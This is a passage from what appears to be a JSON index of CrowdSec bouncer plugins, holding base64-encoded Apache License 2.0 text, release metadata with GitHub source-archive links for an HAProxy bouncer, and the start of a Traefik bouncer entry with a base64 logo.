Ugb3IgYnkgY29tYmluYXRpb24gb2YgdGhlaXIgQ29udHJpYnV0aW9uKHMpCiAgICAgIHdpdGggdGhlIFdvcmsgdG8gd2hpY2ggc3VjaCBDb250cmlidXRpb24ocykgd2FzIHN1Ym1pdHRlZC4gSWYgWW91CiAgICAgIGluc3RpdHV0ZSBwYXRlbnQgbGl0aWdhdGlvbiBhZ2FpbnN0IGFueSBlbnRpdHkgKGluY2x1ZGluZyBhCiAgICAgIGNyb3NzLWNsYWltIG9yIGNvdW50ZXJjbGFpbSBpbiBhIGxhd3N1aXQpIGFsbGVnaW5nIHRoYXQgdGhlIFdvcmsKICAgICAgb3IgYSBDb250cmlidXRpb24gaW5jb3Jwb3JhdGVkIHdpdGhpbiB0aGUgV29yayBjb25zdGl0dXRlcyBkaXJlY3QKICAgICAgb3IgY29udHJpYnV0b3J5IHBhdGVudCBpbmZyaW5nZW1lbnQsIHRoZW4gYW55IHBhdGVudCBsaWNlbnNlcwogICAgICBncmFudGVkIHRvIFlvdSB1bmRlciB0aGlzIExpY2Vuc2UgZm9yIHRoYXQgV29yayBzaGFsbCB0ZXJtaW5hdGUKICAgICAgYXMgb2YgdGhlIGRhdGUgc3VjaCBsaXRpZ2F0aW9uIGlzIGZpbGVkLgoKICAgNC4gUmVkaXN0cmlidXRpb24uIFlvdSBtYXkgcmVwcm9kdWNlIGFuZCBkaXN0cmlidXRlIGNvcGllcyBvZiB0aGUKICAgICAgV29yayBvciBEZXJpdmF0aXZlIFdvcmtzIHRoZXJlb2YgaW4gYW55IG1lZGl1bSwgd2l0aCBvciB3aXRob3V0CiAgICAgIG1vZGlmaWNhdGlvbnMsIGFuZCBpbiBTb3VyY2Ugb3IgT2JqZWN0IGZvcm0sIHByb3ZpZGVkIHRoYXQgWW91CiAgICAgIG1lZXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgoKICAgICAgKGEpIFlvdSBtdXN0IGdpdmUgYW55IG90aGVyIHJlY2lwaWVudHMgb2YgdGhlIFdvcmsgb3IKICAgICAgICAgIERlcml2YXRpdmUgV29ya3MgYSBjb3B5IG9mIHRoaXMgTGljZW5zZTsgYW5kCgogICAgICAoYikgWW91IG11c3QgY2F1c2UgYW55IG1vZGlmaWVkIGZpbGVzIHRvIGNhcnJ5IHByb21pbmVudCBub3RpY2VzCiAgICAgICAgICBzdGF0aW5nIHRoYXQgWW91IGNoYW5nZWQgdGhlIGZpbGVzOyBhbmQKCiAgICAgIChjKSBZb3UgbXVzdCByZXRhaW4sIGluIHRoZSBTb3VyY2UgZm9ybSBvZiBhbnkgRGVyaXZhdGl2ZSBXb3JrcwogICAgICAgICAgdGhhdCBZb3UgZGlzdHJpYnV0ZSwgYWxsIGNvcHlyaWdodCwgcGF0ZW50LCB0cmFkZW1hcmssIGFuZAogICAgICAgICAgYXR0cmlidXRpb24gbm90aWNlcyBmcm9tIHRoZSBTb3VyY2UgZm9ybSBvZiB0aGUgV29yaywKICAgICAgICAgIGV4Y2x1ZGluZyB0aG9zZSBub3RpY2VzIHRoYXQgZG8gbm90IHBlcnRhaW4gdG8gYW55IHBhcnQgb2YKICAgICAgICAgIHRoZSBEZXJpdmF0aXZlIFdvcmtzOyBhbmQKCiAgICAgIChkKSBJZiB0aGUgV29yayBpbmNsdWRlcyBhICJOT1RJQ0UiIHRleHQgZmlsZSBhcyBwYXJ0IG9mIGl0cwogICAgICAgICAgZGlzdHJpYnV0aW9uLCB0aGVuIGFueSBEZXJpdmF0aXZlIFdvcmtzIHRoYXQgWW91IGRpc3RyaWJ1dGUgbXVzdAogICAgICAgICAgaW5jbHVkZSBhIHJlYWRhYmxlIGNvcHkgb2YgdGhlIGF0dHJpYnV0aW9uIG5vdGljZXMgY29udGFpbmVkCiAgICAgICAgICB3aXRoaW4gc3VjaCBOT1RJQ0UgZmlsZSwgZXhjbHVkaW5nIHRob3NlIG5vdGljZXMgdGhhdCBkbyBub3QKICAgICAgICAgIHBlcnRhaW4gdG8gYW55IHBhcnQgb2YgdGhlIERlcml2YXRpdmUgV29ya3MsIGluIGF0IGxlYXN0IG9uZQogICAgICAgICAgb2YgdGhlIGZvbGxvd2luZyBwbGFjZXM6IHdpdGhpbiBhIE5PVElDRSB0ZXh0IGZpbGUgZGlzdHJpYnV0ZWQKICAgICAgICAgIGFzIHBhcnQgb2YgdGhlIERlcml2YXRpdmUgV29ya3M7IHdpdGhpbiB0aGUgU291cmNlIGZvcm0gb3IKICAgICAgICAgIGRvY3VtZW50YXRpb24sIGlmIHByb3ZpZGVkIGFsb25nIHdpdGggdGhlIERlcml2YXRpdmUgV29ya3M7IG9yLAogICAgICAgICAgd2l0aGluIGEgZGlzcGxheSBnZW5lcmF0ZWQgYnkgdGhlIERlcml2YXRpdmUgV29ya3MsIGlmIGFuZAogICAgICAgICAgd2hlcmV2ZXIgc3VjaCB0aGlyZC1wYXJ0eSBub3RpY2VzIG5vcm1hbGx5IGFwcGVhci4gVGhlIGNvbnRlbnRzCiAgICAgICAgICBvZiB0aGUgTk9USUNFIGZpbGUgYXJlIGZvciBpbmZvcm1hdGlvbmFsIHB1cnBvc2VzIG9ubHkgYW5kCiAgICAgICAgICBkbyBub3QgbW9kaWZ5IHRoZSBMaWNlbnNlLiBZb3UgbWF5IGFkZCBZb3VyIG93biBhdHRyaWJ1dGlvbgogICAgICAgICAgbm90aWNlcyB3aXRoaW4gRGVyaXZhdGl2ZSBXb3JrcyB0aGF0IFlvdSBkaXN0cmlidXRlLCBhbG9uZ3NpZGUKICAgICAgICAgIG9yIGFzIGFuIGFkZGVuZHVtIHRvIHRoZSBOT1RJQ0UgdGV4dCBmcm9tIHRoZSBXb3JrLCBwcm92aWRlZAogICAgICAgICAgdGhhdCBzdWNoIGFkZGl0aW9uYWwgYXR0cmlidXRpb24gbm90aWNlcyBjYW5ub3QgYmUgY29uc3RydWVkCiAgICAgICAgICBhcyBtb2RpZnlpbmcgdGhlIExpY2Vuc2UuCgogICAgICBZb3UgbWF5IGFkZCBZb3VyIG93biBjb3B5cmlnaHQgc3RhdGVtZW50IHRvIFlvdXIgbW9kaWZpY2F0aW9ucyBhbmQKICAgICAgbWF5IHByb3ZpZGUgYWRkaXRpb25hbCBvciBkaWZmZXJlbnQgbGljZW5zZSB0ZXJtcyBhbmQgY29uZGl0aW9ucwogICAgICBmb3IgdXNlLCByZXByb2R1Y3Rpb24sIG9yIGRpc3RyaWJ1dGlvbiBvZiBZb3VyIG1vZGlmaWNhdGlvbnMsIG9yCiAgICAgIGZvciBhbnkgc3VjaCBEZXJpdmF0aXZlIFdvcmtzIGFzIGEgd2hvbGUsIHByb3ZpZGVkIFlvdXIgdXNlLAogICAgICByZXByb2R1Y3Rpb24sIGFuZCBkaXN0cmlidXRpb24gb2YgdGhlIFdvcmsgb3RoZXJ3aXNlIGNvbXBsaWVzIHdpdGgKICAgICAgdGhlIGNvbmRpdGlvbnMgc3RhdGVkIGluIHRoaXMgTGljZW5zZS4KCiAgIDUuIFN1Ym1pc3Npb24gb2YgQ29udHJpYnV0aW9ucy4gVW5sZXNzIFlvdSBleHBsaWNpdGx5IHN0YXRlIG90aGVyd2lzZSwKICAgICAgYW55IENvbnRyaWJ1dGlvbiBpbnRlbnRpb25hbGx5IHN1Ym1pdHRlZCBmb3IgaW5jbHVzaW9uIGluIHRoZSBXb3JrCiAgICAgIGJ5IFlvdSB0byB0aGUgTGljZW5zb3Igc2hhbGwgYmUgdW5kZXIgdGhlIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mCiAgICAgIHRoaXMgTGljZW5zZSwgd2l0aG91dCBhbnkgYWRkaXRpb25hbCB0ZXJtcyBvciBjb25kaXRpb25zLgogICAgICBOb3R3aXRoc3RhbmRpbmcgdGhlIGFib3ZlLCBub3RoaW5nIGhlcmVpbiBzaGFsbCBzdXBlcnNlZGUgb3IgbW9kaWZ5CiAgICAgIHRoZSB0ZXJtcyBvZiBhbnkgc2VwYXJhdGUgbGljZW5zZSBhZ3JlZW1lbnQgeW91IG1heSBoYXZlIGV4ZWN1dGVkCiAgICAgIHdpdGggTGljZW5zb3IgcmVnYXJkaW5nIHN1Y2ggQ29udHJpYnV0aW9ucy4KCiAgIDYuIFRyYWRlbWFya3MuIFRoaXMgTGljZW5zZSBkb2VzIG5vdCBncmFudCBwZXJtaXNzaW9uIHRvIHVzZSB0aGUgdHJhZGUKICAgICAgbmFtZXMsIHRyYWRlbWFya3MsIHNlcnZpY2UgbWFya3MsIG9yIHByb2R1Y3QgbmFtZXMgb2YgdGhlIExpY2Vuc29yLAogICAgICBleGNlcHQgYXMgcmVxdWlyZWQgZm9yIHJlYXNvbmFibGUgYW5kIGN1c3RvbWFyeSB1c2UgaW4gZGVzY3JpYmluZyB0aGUKICAgICAgb3JpZ2luIG9mIHRoZSBXb3JrIGFuZCByZXByb2R1Y2luZyB0aGUgY29udGVudCBvZiB0aGUgTk9USUNFIGZpbGUuCgogICA3LiBEaXNjbGFpbWVyIG9mIFdhcnJhbnR5LiBVbmxlc3MgcmVxdWlyZWQgYnkgYXBwbGljYWJsZSBsYXcgb3IKICAgICAgYWdyZWVkIHRvIGluIHdyaXRpbmcsIExpY2Vuc29yIHByb3ZpZGVzIHRoZSBXb3JrIChhbmQgZWFjaAogICAgICBDb250cmlidXRvciBwcm92aWRlcyBpdHMgQ29udHJpYnV0aW9ucykgb24gYW4gIkFTIElTIiBCQVNJUywKICAgICAgV0lUSE9VVCBXQVJSQU5USUVTIE9SIENPTkRJVElPTlMgT0YgQU5ZIEtJTkQsIGVpdGhlciBleHByZXNzIG9yCiAgICAgIGltcGxpZWQsIGluY2x1ZGluZywgd2l0aG91dCBsaW1pdGF0aW9uLCBhbnkgd2FycmFudGllcyBvciBjb25kaXRpb25zCiAgICAgIG9mIFRJVExFLCBOT04tSU5GUklOR0VNRU5ULCBNRVJDSEFOVEFCSUxJVFksIG9yIEZJVE5FU1MgRk9SIEEKICAgICAgUEFSVElDVUxBUiBQVVJQT1NFLiBZb3UgYXJlIHNvbGVseSByZXNwb25zaWJsZSBmb3IgZGV0ZXJtaW5pbmcgdGhlCiAgICAgIGFwcHJvcHJpYXRlbmVzcyBvZiB1c2luZyBvciByZWRpc3RyaWJ1dGluZyB0aGUgV29yayBhbmQgYXNzdW1lIGFueQogICAgICByaXNrcyBhc3NvY2lhdGVkIHdpdGggWW91ciBleGVyY2lzZSBvZiBwZXJtaXNzaW9ucyB1bmRlciB0aGlzIExpY2Vuc2UuCgogICA4LiBMaW1pdGF0aW9uIG9mIExpYWJpbGl0eS4gSW4gbm8gZXZlbnQgYW5kIHVuZGVyIG5vIGxlZ2FsIHRoZW9yeSwKICAgICAgd2hldGhlciBpbiB0b3J0IChpbmNsdWRpbmcgbmVnbGlnZW5jZSksIGNvbnRyYWN0LCBvciBvdGhlcndpc2UsCiAgICAgIHVubGVzcyByZXF1aXJlZCBieSBhcHBsaWNhYmxlIGxhdyAoc3VjaCBhcyBkZWxpYmVyYXRlIGFuZCBncm9zc2x5CiAgICAgIG5lZ2xpZ2VudCBhY3RzKSBvciBhZ3JlZWQgdG8gaW4gd3JpdGluZywgc2hhbGwgYW55IENvbnRyaWJ1dG9yIGJlCiAgICAgIGxpYWJsZSB0byBZb3UgZm9yIGRhbWFnZXMsIGluY2x1ZGluZyBhbnkgZGlyZWN0LCBpbmRpcmVjdCwgc3BlY2lhbCwKICAgICAgaW5jaWRlbnRhbCwgb3IgY29uc2VxdWVudGlhbCBkYW1hZ2VzIG9mIGFueSBjaGFyYWN0ZXIgYXJpc2luZyBhcyBhCiAgICAgIHJlc3VsdCBvZiB0aGlzIExpY2Vuc2Ugb3Igb3V0IG9mIHRoZSB1c2Ugb3IgaW5hYmlsaXR5IHRvIHVzZSB0aGUKICAgICAgV29yayAoaW5jbHVkaW5nIGJ1dCBub3QgbGltaXRlZCB0byBkYW1hZ2VzIGZvciBsb3NzIG9mIGdvb2R3aWxsLAogICAgICB3b3JrIHN0b3BwYWdlLCBjb21wdXRlciBmYWlsdXJlIG9yIG1hbGZ1bmN0aW9uLCBvciBhbnkgYW5kIGFsbAogICAgICBvdGhlciBjb21tZXJjaWFsIGRhbWFnZXMgb3IgbG9zc2VzKSwgZXZlbiBpZiBzdWNoIENvbnRyaWJ1dG9yCiAgICAgIGhhcyBiZWVuIGFkdmlzZWQgb2YgdGhlIHBvc3NpYmlsaXR5IG9mIHN1Y2ggZGFtYWdlcy4KCiAgIDkuIEFjY2VwdGluZyBXYXJyYW50eSBvciBBZGRpdGlvbmFsIExpYWJpbGl0eS4gV2hpbGUgcmVkaXN0cmlidXRpbmcKICAgICAgdGhlIFdvcmsgb3IgRGVyaXZhdGl2ZSBXb3JrcyB0aGVyZW9mLCBZb3UgbWF5IGNob29zZSB0byBvZmZlciwKICAgICAgYW5kIGNoYXJnZSBhIGZlZSBmb3IsIGFjY2VwdGFuY2Ugb2Ygc3VwcG9ydCwgd2FycmFudHksIGluZGVtbml0eSwKICAgICAgb3Igb3RoZXIgbGlhYmlsaXR5IG9ibGlnYXRpb25zIGFuZC9vciByaWdodHMgY29uc2lzdGVudCB3aXRoIHRoaXMKICAgICAgTGljZW5zZS4gSG93ZXZlciwgaW4gYWNjZXB0aW5nIHN1Y2ggb2JsaWdhdGlvbnMsIFlvdSBtYXkgYWN0IG9ubHkKICAgICAgb24gWW91ciBvd24gYmVoYWxmIGFuZCBvbiBZb3VyIHNvbGUgcmVzcG9uc2liaWxpdHksIG5vdCBvbiBiZWhhbGYKICAgICAgb2YgYW55IG90aGVyIENvbnRyaWJ1dG9yLCBhbmQgb25seSBpZiBZb3UgYWdyZWUgdG8gaW5kZW1uaWZ5LAogICAgICBkZWZlbmQsIGFuZCBob2xkIGVhY2ggQ29udHJpYnV0b3IgaGFybWxlc3MgZm9yIGFueSBsaWFiaWxpdHkKICAgICAgaW5jdXJyZWQgYnksIG9yIGNsYWltcyBhc3NlcnRlZCBhZ2FpbnN0LCBzdWNoIENvbnRyaWJ1dG9yIGJ5IHJlYXNvbgogICAgICBvZiB5b3VyIGFjY2VwdGluZyBhbnkgc3VjaCB3YXJyYW50eSBvciBhZGRpdGlvbmFsIGxpYWJpbGl0eS4KCiAgIEVORCBPRiBURVJNUyBBTkQgQ09ORElUSU9OUwoKICAgQVBQRU5ESVg6IEhvdyB0byBhcHBseSB0aGUgQXBhY2hlIExpY2Vuc2UgdG8geW91ciB3b3JrLgoKICAgICAgVG8gYXBwbHkgdGhlIEFwYWNoZSBMaWNlbnNlIHRvIHlvdXIgd29yaywgYXR0YWNoIHRoZSBmb2xsb3dpbmcKICAgICAgYm9pbGVycGxhdGUgbm90aWNlLCB3aXRoIHRoZSBmaWVsZHMgZW5jbG9zZWQgYnkgYnJhY2tldHMgIltdIgogICAgICByZXBsYWNlZCB3aXRoIHlvdXIgb3duIGlkZW50aWZ5aW5nIGluZm9ybWF0aW9uLiAoRG9uJ3QgaW5jbHVkZQogICAgICB0aGUgYnJhY2tldHMhKSAgVGhlIHRleHQgc2hvdWxkIGJlIGVuY2xvc2VkIGluIHRoZSBhcHByb3ByaWF0ZQogICAgICBjb21tZW50IHN5bnRheCBmb3IgdGhlIGZpbGUgZm9ybWF0LiBXZSBhbHNvIHJlY29tbWVuZCB0aGF0IGEKICAgICAgZmlsZSBvciBjbGFzcyBuYW1lIGFuZCBkZXNjcmlwdGlvbiBvZiBwdXJwb3NlIGJlIGluY2x1ZGVkIG9uIHRoZQogICAgICBzYW1lICJwcmludGVkIHBhZ2UiIGFzIHRoZSBjb3B5cmlnaHQgbm90aWNlIGZvciBlYXNpZXIKICAgICAgaWRlbnRpZmljYXRpb24gd2l0aGluIHRoaXJkLXBhcnR5IGFyY2hpdmVzLgoKICAgQ29weXJpZ2h0IFt5eXl5XSBbbmFtZSBvZiBjb3B5cmlnaHQgb3duZXJdCgogICBMaWNlbnNlZCB1bmRlciB0aGUgQXBhY2hlIExpY2Vuc2UsIFZlcnNpb24gMi4wICh0aGUgIkxpY2Vuc2UiKTsKICAgeW91IG1heSBub3QgdXNlIHRoaXMgZmlsZSBleGNlcHQgaW4gY29tcGxpYW5jZSB3aXRoIHRoZSBMaWNlbnNlLgogICBZb3UgbWF5IG9idGFpbiBhIGNvcHkgb2YgdGhlIExpY2Vuc2UgYXQKCiAgICAgICBodHRwOi8vd3d3LmFwYWNoZS5vcmcvbGljZW5zZXMvTElDRU5TRS0yLjAKCiAgIFVubGVzcyByZXF1aXJlZCBieSBhcHBsaWNhYmxlIGxhdyBvciBhZ3JlZWQgdG8gaW4gd3JpdGluZywgc29mdHdhcmUKICAgZGlzdHJpYnV0ZWQgdW5kZXIgdGhlIExpY2Vuc2UgaXMgZGlzdHJpYnV0ZWQgb24gYW4gIkFTIElTIiBCQVNJUywKICAgV0lUSE9VVCBXQVJSQU5USUVTIE9SIENPTkRJVElPTlMgT0YgQU5ZIEtJTkQsIGVpdGhlciBleHByZXNzIG9yIGltcGxpZWQuCiAgIFNlZSB0aGUgTGljZW5zZSBmb3IgdGhlIHNwZWNpZmljIGxhbmd1YWdlIGdvdmVybmluZyBwZXJtaXNzaW9ucyBhbmQKICAgbGltaXRhdGlvbnMgdW5kZXIgdGhlIExpY2Vuc2UuCg==", "status": "stable", "version": "v1.0", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/hellracer/cs-haproxy-bouncer/tarball/v1.0", "asset_url": "https://api.github.com/repos/hellracer/cs-haproxy-bouncer/tarball/v1.0" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/hellracer/cs-haproxy-bouncer/zipball/v1.0", "asset_url": "https://api.github.com/repos/hellracer/cs-haproxy-bouncer/zipball/v1.0" } ] }, { "name": "traefik-crowdsec-bouncer", "author": "fbonalair", "logo": "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